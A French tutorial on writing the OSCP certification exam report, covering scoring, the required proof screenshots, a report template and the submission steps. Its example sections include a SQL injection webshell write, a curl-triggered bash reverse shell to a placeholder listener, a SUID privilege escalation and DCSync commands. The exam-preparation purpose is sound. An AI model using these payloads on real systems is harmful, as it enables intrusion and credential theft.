Le rapport OSCP est aussi important que l’exploitation elle-même. Un exploit réussi sans rapport valide peut ne rapporter 0 point. Ce tutoriel couvre la structure officielle attendue par OffSec, les preuves obligatoires pour chaque machine, et les erreurs qui font perdre des points même quand les machines sont bien compromises.
1. Règles officielles OffSec
Scoring rappel
| Type de machine | Points | Preuves |
|---|---|---|
| 3 × standalone machines | 20 pts chacune (10 local.txt + 10 proof.txt) | local.txt + proof.txt + screenshot |
| Set Active Directory (DC + 2 membres) | 40 pts total | local.txt × 2 + proof.txt DC + screenshots |
| Total | 100 pts disponibles | Minimum 70 pts pour passer |
| Note : les points bonus PEN-200 (anciennement +10 pts pour 80 % des exercices et 10 preuves de labs) ont été supprimés pour les examens passés à compter du 1er novembre 2024. | ||
Contraintes sur les outils
- Metasploit Framework : limité à une seule machine pendant l’exam (multi/handler compte comme utilisation). Pas de restriction sur msfvenom.
- Mimikatz : autorisé sans restriction de quota.
- Outils commerciaux : Cobalt Strike, Canvas, Core Impact — interdits.
Délais impératifs
Pour mémoire :
Exam (hacking) : 23h45 — la connexion VPN se coupe automatiquement
Rapport : 24h après la fin de l'exam pour soumettre le PDF
Retard rapport = 0 point pour toutes les machines
2. Preuves obligatoires par machine
Ce qu’OffSec exige pour chaque proof.txt / local.txt
Pour chaque flag, votre rapport doit inclure une seule capture d’écran montrant simultanément :
- Le résultat de la commande
whoami(ouidsur Linux) - Le contenu du fichier flag
- L’adresse IP de la machine (résultat de
ipconfigouip a)
Commandes de capture — Linux
Concrètement, pour une seule commande — tout en une ligne :
# Une seule commande — tout en une ligne
id && hostname && ip a | grep "inet " | grep -v 127 && cat /root/proof.txt
# Ou plus lisible
id
hostname
ip a show eth0 | grep "inet "
cat /root/proof.txt
cat /home/user/local.txt
Commandes de capture — Windows
Concrètement, pour standalone — proof.txt dans le bureau Administrator :
# Standalone — proof.txt dans le bureau Administrator
whoami && hostname && ipconfig && type C:\Users\Administrator\Desktop\proof.txt
# Machine membre AD — local.txt
whoami && hostname && ipconfig && type C:\Users\Administrator\Desktop\local.txt
# DC — proof.txt
whoami && hostname && ipconfig && type C:\Users\Administrator\Desktop\proof.txt
Important : l’adresse IP affichée doit correspondre à l’adresse de la machine dans le rapport. OffSec vérifie que vous n’avez pas réutilisé un screenshot d’une autre machine.
3. Structure du rapport
OSCP Exam Report — [Votre Nom] — [Date]
1. Introduction
1.1 Objectif
1.2 Portée de l'exam
2. Résumé exécutif
2.1 Score estimé
2.2 Tableau des machines compromises
3. Machines standalone
3.1 Machine 1 — [IP] — [Nom si connu]
3.1.1 Résumé de l'exploitation
3.1.2 Énumération initiale
3.1.3 Vecteur d'accès initial
3.1.4 Escalade de privilèges
3.1.5 Preuves (screenshots)
3.2 Machine 2 — ...
3.3 Machine 3 — ...
4. Set Active Directory
4.1 Topologie du réseau AD
4.2 Machine membre 1 — [IP]
(même structure que 3.x)
4.3 Machine membre 2 — [IP]
4.4 Domain Controller — [IP]
4.4.1 Chemin d'attaque complet (schéma)
4.4.2 Étapes détaillées jusqu'au DA
4.4.3 Preuves
5. Conclusion
4. Rédiger la section d’une machine
4.1 — Résumé de l’exploitation (obligatoire)
Chaque machine commence par un résumé court (5-10 lignes) qui explique la chaîne d’attaque. OffSec doit pouvoir comprendre ce que vous avez fait sans lire le détail.
--- EXEMPLE ---
Machine : 192.168.1.50 (standalone Linux)
Résumé : Un service web Apache sur le port 80 expose une application PHP vulnérable
à une injection SQL dans le paramètre "id". L'exploitation de cette injection a permis
de lire le fichier /etc/passwd et de découvrir les credentials de l'utilisateur "bob"
dans la base de données. Une connexion SSH avec ces credentials a fourni un accès initial.
L'escalade de privilèges a été réalisée via un binaire SUID (find) qui a permis d'obtenir
un shell root. Score : 20/20 points.
4.2 — Énumération initiale
La séquence à passer :
--- EXEMPLE DE SECTION ---
Ports ouverts (Nmap TCP full scan) :
- 22/tcp SSH OpenSSH 8.2p1
- 80/tcp HTTP Apache httpd 2.4.41
- 3306/tcp MySQL MariaDB
Énumération web (Gobuster) :
- /index.php [200]
- /admin/ [301] → /admin/login.php
- /uploads/ [200]
- /config.php.bak [200] — FICHIER SENSIBLE
Découverte : config.php.bak expose les credentials de la base de données :
DB_USER=webapp, DB_PASS=S3cur3P@ss
4.3 — Vecteur d’accès initial
La séquence à passer :
--- EXEMPLE ---
Vecteur : Injection SQL dans /item.php?id= → écriture de webshell
Commandes utilisées :
1. Détection SQLi :
curl "http://192.168.1.50/item.php?id=1'"
→ Erreur SQL confirmée
2. Extraction des credentials via UNION SELECT :
?id=-1 UNION SELECT 1,username,password FROM users-- -
→ admin:$2y$10$[hash]
3. Écriture du webshell :
?id=-1 UNION SELECT 1,"",3
INTO OUTFILE '/var/www/html/uploads/shell.php'-- -
4. Exécution et reverse shell :
curl "http://192.168.1.50/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261"
Résultat : shell www-data obtenu sur nc -lvnp 4444.
4.4 — Escalade de privilèges
En pratique :
--- EXEMPLE ---
Méthode : SUID binary (find)
1. Découverte :
find / -perm -4000 -type f 2>/dev/null
→ /usr/bin/find possède le bit SUID
2. Exploitation (GTFOBins) :
find . -exec /bin/bash -p \; -quit
→ bash-5.0# id
→ uid=33(www-data) gid=33(www-data) euid=0(root)
3. Capture du flag :
cat /root/proof.txt
→ OS{abc123def456...}
5. Captures d’écran requises
Par machine — liste minimale
| # | Screenshot | Ce qu’il doit montrer |
|---|---|---|
| 1 | Scan Nmap | Ports ouverts + versions de services |
| 2 | Vulnérabilité découverte | La preuve que le vecteur existe (erreur SQL, LFI output, etc.) |
| 3 | Shell initial obtenu | id ou whoami dans le shell + IP visible |
| 4 | local.txt (si applicable) | whoami + IP + contenu local.txt |
| 5 | Escalade de privilèges — vecteur | La commande qui démontre le vecteur (SUID, sudo -l, etc.) |
| 6 | proof.txt — OBLIGATOIRE | whoami/id = root/SYSTEM + IP + contenu proof.txt (tout en un) |
Pour le set AD — screenshots supplémentaires
| # | Screenshot AD | Ce qu’il doit montrer |
|---|---|---|
| 7 | Scan du réseau interne | Découverte du DC et des machines membres |
| 8 | 1er compte de domaine obtenu | Hash cracké ou credentials découverts |
| 9 | BloodHound — chemin vers DA | Graphe montrant le chemin d’attaque utilisé |
| 10 | DCSync ou dump NTDS | Hashes du domaine extraits |
| 11 | Connexion au DC en DA | whoami = domain\administrator + IP DC + proof.txt |
Conseils pour les screenshots
- Utilisez Flameshot (Linux) ou Greenshot (Windows) pour annoter les points clés directement sur les captures.
- Nommez vos fichiers de manière systématique :
01_nmap_192.168.1.50.png,06_proof_192.168.1.50.png - Résolution minimale recommandée : 1280 × 720. Le texte doit être lisible.
- Si la sortie est longue, scrollez et faites plusieurs captures plutôt qu’une capture illisible.
6. Outils de rédaction recommandés
Option 1 — Cherry Tree (recommandé pendant l’exam)
Concrètement, pour cherryTree est préinstallé sur Kali :
# CherryTree est préinstallé sur Kali
cherrytree &
# Structure suggérée dans CherryTree :
# ├── Exam OSCP [date]
# │ ├── 192.168.1.50 (standalone)
# │ │ ├── Enumeration
# │ │ ├── Exploitation
# │ │ └── PrivEsc + Proof
# │ ├── 192.168.1.51
# │ └── AD Set
# │ ├── WEB01 (192.168.100.20)
# │ ├── FILE01 (192.168.100.30)
# │ └── DC01 (192.168.100.10)
Option 2 — Obsidian
Concrètement, pour obsidian avec plugin « Templater » pour les templates de machine :
# Obsidian avec plugin "Templater" pour les templates de machine
# Créer un vault "OSCP Exam" avec un dossier par machine
# Avantage : Markdown natif, export PDF propre via Pandoc
Option 3 — Template OffSec officiel (LibreOffice / Word)
Concrètement, pour offSec fournit un template Word officiel sur leur portail student :
# OffSec fournit un template Word officiel sur leur portail student
# https://help.offsec.com/hc/en-us/articles/360046787731
# Télécharger le template, remplir section par section
# Export final en PDF :
# LibreOffice : Fichier → Exporter en PDF
# Word : Fichier → Enregistrer sous → PDF
Conversion Markdown → PDF avec Pandoc
Concrètement, pour installer les dépendances :
# Installer les dépendances
sudo apt install pandoc texlive-latex-extra -y
# Convertir en PDF
pandoc rapport_oscp.md -o rapport_oscp.pdf \
--pdf-engine=xelatex \
-V geometry:margin=2cm \
-V fontsize=11pt
# Template avec numéros de page et en-tête
pandoc rapport_oscp.md -o rapport_oscp.pdf \
--template=oscp_template.tex \
--pdf-engine=xelatex
7. Soumission du rapport
Procédure officielle
Concrètement :
1. Terminer le rapport en PDF
2. Nommer le fichier : OSCP-OS-XXXXX-Exam-Report.pdf
(OS-XXXXX = votre numéro d'étudiant OffSec)
3. Compresser avec 7-Zip ou zip :
7z a OSCP-OS-XXXXX-Exam-Report.7z OSCP-OS-XXXXX-Exam-Report.pdf
# ou
zip OSCP-OS-XXXXX-Exam-Report.zip OSCP-OS-XXXXX-Exam-Report.pdf
4. Uploader sur le portail OffSec :
https://upload.offsec.com/
5. Vous recevez un email de confirmation dans les minutes suivant l'upload
6. Résultats : sous 10 jours ouvrables (généralement 3-5 jours)
Vérifications avant soumission
Concrètement, pour vérifier la taille du PDF (max 200 MB) :
# Vérifier la taille du PDF (max 200 MB)
ls -lh OSCP-OS-XXXXX-Exam-Report.pdf
# Ouvrir et vérifier que toutes les images sont lisibles
evince OSCP-OS-XXXXX-Exam-Report.pdf
# Vérifier que le PDF n'est pas protégé par mot de passe
# OffSec exige un PDF non-chiffré
8. Pièges fréquents qui font perdre des points
| Piège | Conséquence | Solution |
|---|---|---|
| proof.txt sans IP de la machine visible | 0 pt pour la machine | Toujours ipconfig/ip a dans le même screenshot |
| Screenshot illisible (trop petit, trop compressé) | 0 pt pour la preuve | Résolution ≥ 1280px, format PNG |
| Étapes non reproductibles (commande manquante) | Points partiels | Documenter CHAQUE commande, même les « évidentes » |
| Rapport soumis après le délai de 24h | 0 pt pour toutes les machines | Configurer une alarme à H+20 après la fin de l’exam |
| Utilisation de Metasploit sur 2+ machines | Résultats invalidés | Tracer dans le rapport quelle machine a utilisé Metasploit |
| local.txt manquant sur une machine membre AD | -10 pts sur la machine | Chercher dans C:\Users\*\Desktop\local.txt et /home/*/local.txt |
| Chemin d’attaque AD incomplet dans le rapport | Points partiels sur le set AD | Inclure le schéma BloodHound + chaque étape du mouvement latéral |
| Pas de description de la vulnérabilité | Points partiels | Toujours nommer la CVE ou le type de vulnérabilité avec une phrase d’explication |
9. Template complet à copier
# OSCP Exam Report
**Candidat :** [Prénom Nom]
**OS ID :** OS-XXXXX
**Date d'exam :** [YYYY-MM-DD]
**Heure de début :** [HH:MM UTC]
---
## 1. Introduction
Ce rapport documente les activités menées lors de l'examen de certification OSCP
(Offensive Security Certified Professional) dispensé par OffSec. L'objectif était
de compromettre un ensemble de machines dans un réseau isolé en 23h45, en suivant
les règles d'engagement définies par OffSec.
---
## 2. Résumé exécutif
| Machine | IP | Points locaux | Points root/admin | Total |
|---|---|---|---|---|
| Standalone 1 | 192.168.x.x | 10 | 10 | 20/20 |
| Standalone 2 | 192.168.x.x | 10 | 10 | 20/20 |
| Standalone 3 | 192.168.x.x | 10 | 0 | 10/20 |
| AD - WEB01 | 192.168.y.x | 10 | - | 10/40 |
| AD - FILE01 | 192.168.y.x | 10 | - | 10/40 |
| AD - DC01 | 192.168.y.x | - | 20 | 20/40 |
| **Total** | | | | **90/100** |
---
## 3. Machines standalone
### 3.1 Machine 1 — 192.168.x.x
#### Résumé
[5-10 lignes résumant la chaîne d'exploitation]
#### 3.1.1 Énumération
**Nmap TCP full scan :**
```
nmap -p- --min-rate 5000 -oA scans/tcp_full 192.168.x.x
[résultat]
```
**Nmap service scan :**
```
nmap -p [ports] -sV -sC -oA scans/service 192.168.x.x
[résultat]
```
**Gobuster :**
```
gobuster dir -u http://192.168.x.x -w [...] -x php,txt,html
[résultat]
```
[Screenshot : scan Nmap]
#### 3.1.2 Accès initial
**Vulnérabilité :** [Type — ex: SQLi dans /page.php?id=]
**Description :** [1-3 phrases expliquant la vulnérabilité]
**Exploitation :**
```
[commandes exactes utilisées]
```
[Screenshot : vulnérabilité découverte]
[Screenshot : shell initial avec id + IP]
#### 3.1.3 Capture local.txt (si applicable)
```
whoami && ip a && cat /home/user/local.txt
```
[Screenshot obligatoire : whoami + IP + contenu local.txt]
**Valeur :** `[hash]`
#### 3.1.4 Escalade de privilèges
**Vecteur :** [Ex: SUID find, sudo misconfiguration, etc.]
**Commandes :**
```
[commandes exactes de PrivEsc]
```
[Screenshot : vecteur d'escalade]
#### 3.1.5 Capture proof.txt
```
id && ip a && cat /root/proof.txt
```
[Screenshot OBLIGATOIRE : id=0(root) + IP + contenu proof.txt]
**Valeur :** `[hash]`
---
### 3.2 Machine 2 — 192.168.x.x
[Même structure]
---
### 3.3 Machine 3 — 192.168.x.x
[Même structure]
---
## 4. Set Active Directory
### 4.1 Topologie
```
Kali (10.10.14.x)
│
▼
WEB01 (192.168.y.20) — Accessible depuis Kali
│ pivot
▼
DC01 (192.168.y.10) — Réseau interne AD
FILE01 (192.168.y.30) — Réseau interne AD
```
### 4.2 Machine membre WEB01 — 192.168.y.20
[Même structure que standalone — sections énumération, accès initial, PrivEsc, captures]
### 4.3 Machine membre FILE01 — 192.168.y.30
[Même structure]
### 4.4 Domain Controller DC01 — 192.168.y.10
#### 4.4.1 Chemin d'attaque complet
1. Accès initial sur WEB01 via [vecteur]
2. Dump credentials locaux via secretsdump
3. Mouvement latéral vers FILE01 via Pass-the-Hash
4. Kerberoasting du compte svc_backup → password cracké
5. svc_backup a les droits DCSync → dump NTDS.dit
6. PTH avec hash Administrator vers DC01
[Screenshot BloodHound : chemin d'attaque visualisé]
#### 4.4.2 DCSync
```
impacket-secretsdump domain.local/svc_backup:password@192.168.y.10 -just-dc
[résultat avec hashes]
```
#### 4.4.3 Capture proof.txt DC
```
whoami && ipconfig && type C:\Users\Administrator\Desktop\proof.txt
```
[Screenshot OBLIGATOIRE]
**Valeur :** `[hash]`
---
## 5. Conclusion
[2-3 phrases résumant les machines compromises et le score estimé]
Ressources et références
- OffSec — OSCP Exam Report Requirements — documentation officielle des preuves requises
- OffSec — Exam Guide — règles complètes de l’exam (outils autorisés, délais, scoring)
- noraj/OSCP-Exam-Report-Template-Markdown — template Markdown complet avec Pandoc + LaTeX
- OSCP Report Generator — outil de génération automatique de rapport
Liens vers les autres tutoriels de cette série
Ce tutoriel conclut la série complète de préparation à l’OSCP. Voici le parcours recommandé si vous débutez :
- Préparation OSCP 2026 — Structure, feuille de route, ressources — commencer ici
- Énumération réseau : Nmap, Gobuster, enum4linux
- Exploitation web : SQLi, LFI, RCE
- Buffer Overflow Windows avec mona.py
- Escalade de privilèges Linux — 15 techniques
- Escalade de privilèges Windows
- Active Directory : Kerberoasting, BloodHound, DCSync
- Pivoting réseau : SSH, chisel, ligolo-ng
- Rédiger le rapport OSCP — vous êtes ici